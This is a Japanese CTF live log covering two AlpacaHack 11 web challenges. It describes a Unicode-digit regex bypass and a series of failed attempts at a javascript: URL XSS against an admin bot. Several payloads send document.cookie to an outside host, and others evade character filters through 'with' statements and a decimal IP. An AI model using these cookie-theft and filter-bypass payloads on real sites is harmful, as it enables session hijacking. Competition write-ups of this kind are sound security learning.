AlpacaHack 11 (Web) 実況
Writeupはこちら
ここでは実況を残します
Jackpot
コード読んだり手元で動かしたり
- おっ、Slot machineだ。乱数予測かな?
- pythonのrandomって確かメルセンヌツイスタだから予測可能だったような
コードをよく読む
- choice?なんか雲行き怪しいな。乱数予測じゃないぞ
- これ10桁よりたくさんの文字集めるけどuniqueである必要があるから実質0123456789のpermutationしか書けんやんw
- はー、どうやって7集めるんやこれ
- とりあえずドキュメント読むか「Python regex」で検索して…
reのドキュメントを読む
- お?Unicodeパターンと8ビットパターンというのがあるのか
- Unicodeパターンだと"その他多数の数字"って書いてあるな
- ASCIIフラグデフォルトで有効になってないんでは?
手元で試す
- python3起動して…
- よっしゃ
>>> a = '\u0660'
>>> a
'٠'
>>> not re.fullmatch(r"\d+", a)
False
- これで勝てる
00…07みたいなのを送る
- お、
{"code":200,"flag":null,"isJackpot":false,"results":[0,0,7,0,0,0,0,7,0,0,0,0,0,0,0]}
みたいなのが帰ってきた。 - ということは7にしてやれば良さそう
66
みたいな末尾だった73
ではなく6d
になることに注意
77…77みたいなのを送る
- できた!やったあ!!
- 25分で解けたし割と早い方じゃろう!
- 順位表を見る
- 21solvesすでにおる… みんな早い〜
Redirector
眺める
- XSSかな?Admin Botがおる
- シンプルにCookieを取ってくださいって感じやな
await context.setCookie({
name: "FLAG",
value: FLAG,
domain: APP_HOST,
path: "/",
});
const page = await context.newPage();
await page.goto(url, { timeout: 5_000 });
await sleep(5_000);
await page.close();
- サーバの方はなんもないな。fastifyなことは覚えておく。
ガチャガチャする
- よし、とりあえず
javascript
スキーム突っ込むか
javascript:alert(1)
- 行けたわ。勝ったなガハハ
- 後はパズルや
観察
- Invalid URL 1の方は英数字アンダースコア丸括弧縛りか
- Invalid URL 2はcookieとかlocationとか色々潰されてる
- とりあえずInvalid URL 1だけを考えてみる。
解けない: partsの範囲外に出してみようとする
- JSFxck だと四角カッコが必要なはず。
- invalid 1ではpartsを見ていて、invalid 2ではurlを見てる
- url→partsの処理が入るのを利用して両方すり抜けられないか?
console.log(parts)
のようなコードをHTMLに書いて観察する
javascript:javascript:location.href=https://example.com?q=document.cookie
0: "javascript:location.href=https://example.com"
1: "?q=document.cookie"
2: ""
javascript:location.href=https://example.com?q=document.cookie?q=document.cookie?q=document.cookie?q=document.cookie?q=document.cookie
0: "location.href=https://example.com"
1: "?q=document.cookie?q=document.cookie?q=document.cookie?q=document.cookie?q=document.cookie"
2: ""
javascript:location.href=example.com?q1=document.cookie#h1=document.cookie?q2=document.cookie#h2=document.cookie
0: "location.href=example.com"
1: "?q1=document.cookie"
2: "#h1=document.cookie?q2=document.cookie#h2=document.cookie"
なるほど。?
や #
はむずそう
解けない: 1文字目に着目
- partsの処理で、searchとhashは先頭文字が
?
と#
で固定されるが、pathnameは1文字自由に入れられる。 - 色々入れてみたけどいい感じのがない
解けない: 他のURIスキームに注目
- URI スキーム - URI | MDN
- dataとかblobとかみたけどあんまりいいのない
- JavaScriptとして解釈させる必要があるから、
javascript:
で合ってそう
検索
- 「CTF jail js」とかで検索してみる
- t-chenさんの記事 jailCTF 2024 - writeup
- withstatementというのがある
javascript:with(console)(log)(123)
- これは123が出力される。dotはwithStatementでbypassできそう。
javascript:with(console)(log)(with(console)(log)(213))
VM61:1 Uncaught SyntaxError: Unexpected token 'with'Understand this error
- これはだめ。
いっぱい入れてみる
- たくさん入れたら文字数溢れてpartsのvalidateが消えるとかないかな
>>> "javascript:\"" + "a"*20000 + "?b\"+alert(1)"
{"error":"Request Header Fields Too Large","message":"Exceeded maximum allowed HTTP header size","statusCode":431}
- 実行されなかった…
解けない: //
をつけてみる
- URIスキームで、
//
ってどうなるんだろう
javascript://example.com;alert(123)/hoge?a#b
0: "/hoge"
1: "?a"
2: "#b"
- お!好きな文字を入れられそう!!
- 改行するか
javascript://a\nalert("123");:[email protected]/c?d#e
invalid 1は通るが、特に発火しない
- なんでや
解けない: 色々試す
javascript:with(console)(log(parseInt(__proto__)))
NaN
javascript:with(console)(log(undefined))
undefined
- そもそもURLにdotが入っているの無理ゲーすぎる
- ん?もしかして数字でIPアドレス入れるやつ使えるか?
127.0.0.1
7f000001
>>> 0x7f000001
2130706433
javascript:alert(fetch(2130706433))
http://localhost:3000/2130706433 に行ってしまう
まとめる
javascript:alert(fetch(//2130706433))
を通したいjavascript:with(document)(fetch(cookie))
みたいなことがしたい- 数字からserializeする方法ないか?
btoa
とか
- cookieという文字列を使わずになんとか出せないか?
Object.values(window)
とか見てた
終わり
javascript:with(String)(fetch(fromCodePoint(47)+fromCodePoint(47)+2130706433))
とかが通ればいいんですが…- 解けませんでした